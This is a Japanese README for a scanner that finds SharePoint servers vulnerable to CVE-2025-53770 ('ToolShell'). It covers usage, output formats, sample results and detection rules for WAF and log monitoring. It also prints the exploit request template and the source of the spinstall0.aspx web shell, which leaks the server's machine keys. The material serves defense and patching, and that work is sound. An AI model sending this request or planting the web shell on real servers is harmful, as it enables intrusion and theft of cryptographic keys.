
ToolShell スキャナー - CVE-2025-53770 および検出情報
100% は、浮遊しているペイロードやさまざまな攻撃に関するツイートを寄せ集めて作成されたものであり、保証は一切ありません。このスキャナーは脆弱性インスタンスを特定するために設計されており、実際の悪用で知られている構成を備えています。防御目的で脆弱性インスタンスを特定し、パッチを適用できるようにするためのものです。
このスキャナーは、SharePoint デプロイメントの自動チェックを次の方法で実行します。
SP2013: WEBSER~1\15\ vs SP2016+: WEBSER~1\16\)git clone https://github.com/ZephrFish/CVE-2025-53770-Scanner
cd CVE-2025-53770-Scanner
pip install -r requirements.txt
ターゲットホストを1行に1つずつ記述したテキストファイルを作成:
sharepoint1.example.com
sharepoint2.example.net
internal-sp.company.local
スキャナーを実行:
python3 scanner.py -i hosts.txt
python3 scanner.py -i hosts.txt -o results.json -l scan.log -t 20 -v
| オプション | 説明 | デフォルト |
|---|---|---|
-i, --input | ホストリストファイルへのパス (必須) | - |
-o, --output | 結果の出力ファイル (.json, .csv, .txt) | なし |
-l, --logfile | 詳細ログ用のログファイルパス | なし |
-t, --threads | 同時スレッド数 | 10 |
-v, --verbose | 冗長出力とログの有効化 | False |
-o results.json)[
{
"host": "sharepoint.example.com",
"url": "https://sharepoint.example.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx",
"scan_time": "2025-07-21T10:30:00.123456",
"vulnerable": true,
"status_code": 200,
"response_size": 15432,
"error": null,
"response_time": 1.23
}
]
-o results.csv)すべてのスキャンメトリクスの列を含む、スプレッドシート分析に適した表形式のデータを提供します。
-o results.txt)脆弱性ステータスとスキャン詳細を含む人間が読みやすい形式。
CVE-2025-53770 は、SharePoint の ExcelDataSet コンポーネントにおける逆シリアル化の脆弱性を標的としており、実際に活発に悪用されています。スキャナーは以下を検出します:
/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx に送信ValidationKey|Validation|DecryptionKey|Decryption|CompatibilityMode
例: [128-256 hex chars]|HMACSHA256|[48-96 hex chars]|AES|Framework45
spinstall0.aspx の展開Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0/_layouts/SignOut.aspxスキャナーは応答を分析して以下を検出:
$ python3 scanner.py -i corporate-sharepoint.txt -o vuln-results.json -l scan.log -v
Starting scan of 150 hosts with 10 threads...
Target CVE: CVE-2025-53770 (SharePoint ExcelDataSet deserialization)
Logging to: scan.log
Results will be saved to: vuln-results.json
[+] VULNERABLE [CRITICAL]: sp-prod-01.acme.local
[-] Not vulnerable: sp-dev-02.acme.local
[!] ERROR: offline-sp.acme.local - Connection timeout
[+] VULNERABLE [HIGH]: sp-legacy.acme.local
Progress: 50/150 (33.3%)
Progress: 100/150 (66.7%)
Progress: 150/150 (100.0%)
============================================================
SCAN COMPLETE
============================================================
Total hosts scanned: 150
Vulnerable hosts: 3
Success rate: 97.3%
VULNERABLE HOSTS (CVE-2025-53770):
CRITICAL - MACHINE KEY EXTRACTED (1 hosts):
• sp-prod-01.acme.local (Response time: 0.85s, Version: 2016+)
WARNING: IMMEDIATE ACTION REQUIRED: Machine keys compromised
HIGH CONFIDENCE (1 hosts):
• sp-legacy.acme.local (Response time: 1.23s, Version: 2013-2016)
LOW CONFIDENCE (1 hosts):
• sp-archive.acme.local (Response time: 2.10s, Version: Unknown)
Detailed results saved to: vuln-results.json
詳細なトラブルシューティングのために、冗長ログ (-v) とログファイル (-l) を有効にする:
tail -f scan.log
スキャナーは、実際の攻撃で確認された悪用パターンの検出を組み込んでいます:
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: target.domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 7699
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx
Connection: close
MSOTlPn_Uri=http%3A%2F%2F{{host}}%2F_controltemplates%2F15%2FAclEditor.ascx
&MSOTlPn_DWP=[ExcelDataSet payload with CompressedDataTable containing serialized exploit]
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}
</script>
ValidationKey: [128-256 character hex string]
Validation: HMACSHA256|HMACSHA1|SHA1
DecryptionKey: [48-96 character hex string]
Decryption: AES|DES|3DES
CompatibilityMode: Framework20SP1|Framework45|Framework40
組織は、潜在的な悪用試行を特定するために以下の検出メカニズムを実装する必要があります:
SharePoint ToolPane エンドポイントへの不審な POST リクエストを監視:
# WAF検出ルールパターンの例
POST /_layouts/15/ToolPane.aspx*
POST /_layouts/*/ToolPane.aspx*
クエリ文字列: "DisplayMode=Edit&a=/ToolPane.aspx"
リクエスト本文に含まれる文字列: "MSOTlPn_Uri", "MSOTlPn_DWP"
リクエスト本文に含まれる文字列: "ExcelDataSet", "CompressedDataTable"
リクエスト本文に含まれる文字列: "Scorecard:ExcelDataSet"
リクエスト本文に含まれる文字列: "H4sIAAAAAAAEA" (base64 内の gzip マジックバイト)
Content-Length > 5000 バイト (典型的なペイロードサイズ)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0)
Referer: /_layouts/SignOut.aspx
観測された悪用パターン:
CompressedDataTable パラメータ内の URL エンコードされた圧縮データSharePoint Unified Logging Service (ULS) ログを監視:
Category: SharePoint Foundation Web Controls
Level: Unexpected, Error, Critical
Keywords: "ToolPane", "ExcelDataSet", "Deserialization"
Process: w3wp.exe
ULS ログの主な指標:
悪用パターンのために IIS ログを監視: